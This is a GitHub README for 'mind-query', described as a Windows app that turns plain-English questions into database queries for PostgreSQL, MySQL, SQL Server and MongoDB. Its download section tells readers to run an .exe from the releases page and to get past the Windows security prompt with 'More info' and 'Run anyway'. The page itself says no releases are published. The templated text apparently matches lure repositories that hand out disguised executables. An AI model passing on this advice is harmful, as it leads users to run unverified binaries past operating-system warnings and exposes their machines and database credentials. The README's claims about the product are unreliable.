Skip to content

jourdaninorder609/mind-query

Repository files navigation

🤖 mind-query - Ask data questions in plain English

Mind-query turns your English sentences into database queries. You ask questions about your data, and the software fetches the answers. It connects to popular databases like PostgreSQL, MySQL, SQL Server, and MongoDB. You do not need to learn complex code to see your business data.

📥 How to download the software

You need to download the installer to your Windows computer. Follow these steps:

  1. Visit the official releases page.
  2. Look for the latest version at the top of the list.
  3. Click the file ending in .exe to start your download.
  4. Open the file once the download finishes.

If your computer shows a security prompt, click "More info" and then "Run anyway" to start the installation. Follow the on-screen instructions to finish the setup.

⚙️ System Requirements

Your computer needs specific components to run mind-query. Check your system against this list:

  • Operating System: Windows 10 or Windows 11.
  • Processor: Intel Core i3 or better.
  • Memory: 4 gigabytes of RAM or more.
  • Storage: 200 megabytes of free space.
  • Connectivity: An active internet connection for query processing.

🚀 Setting up your database connections

Mind-query requires access to your database to function. You must provide the connection details for your storage system.

  1. Open mind-query from your desktop or start menu.
  2. Select the "Connections" tab on the left sidebar.
  3. Click "Add New Connection."
  4. Choose your database type from the list.
  5. Enter the host address, port, username, and password provided by your database administrator.
  6. Click "Test Connection" to confirm access.
  7. Click "Save" once the test succeeds.

You can add multiple databases. The software organizes them by name.

🔮 How to use the query engine

You perform tasks by typing in the chat box at the bottom of the screen. The interface acts like a conversation.

Asking simple questions

Type your request exactly as you speak. For example, you might type: "Show me all customers who joined last month." The engine scans your database tables, builds the code, and shows the results in a table.

Filtering results

You can refine your results by adding details. Type: "Show me all high-value orders from the California region." The tool identifies the tables needed and filters the output for you.

Sorting data

Direct the tool to organize your information. Type: "List my top ten sales by date, starting with the newest." The program sorts your data and presents the top entries first.

🛡️ Privacy and security

Mind-query prioritizes your data safety. The application runs locally on your machine. Your database credentials stay encrypted in your local files. The software sends your text prompts to an artificial intelligence engine to translate them into commands, but it does not transmit your private database content. You remain in control of your data at all times.

💡 Troubleshooting common issues

If you encounter errors, check these common fixes:

  • The software fails to connect: Double-check your username and password. Ensure your database allows remote connections.
  • The results look wrong: Rephrase your question. Be specific about the data ranges or names you need.
  • The app freezes: Close the application and restart it. If the problem persists, check your internet connection.

📋 Supported database systems

This tool connects to the most common storage systems found in businesses today:

  • PostgreSQL: A robust system for large data sets.
  • MySQL: A standard choice for web applications.
  • SQL Server: A reliable system for enterprise environments.
  • MongoDB: A flexible choice for non-structured data needs.

🛠️ Advanced tips for better results

You get better results when you follow these tips during your chat:

  1. Mention specific column names if you know them.
  2. Provide time ranges to narrow the search scope.
  3. Ask for specific formats, such as "a summary" or "a list."
  4. Use standard terms to describe your data.

📞 Getting help

Use the built-in help guide if you get stuck. Access this by pressing F1 on your keyboard while the app is open. This menu provides examples of queries for each supported database type. You can also view logs of your recent activities to debug why a specific question did not produce the result you expected.

The software updates automatically when you open it. This ensures you always use the latest features and security patches without manual intervention. Your settings migrate to the new version without extra work.

About

Convert natural language into SQL and MQL queries for PostgreSQL, MySQL, SQL Server, and MongoDB using an MCP-enabled agent with built-in security.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages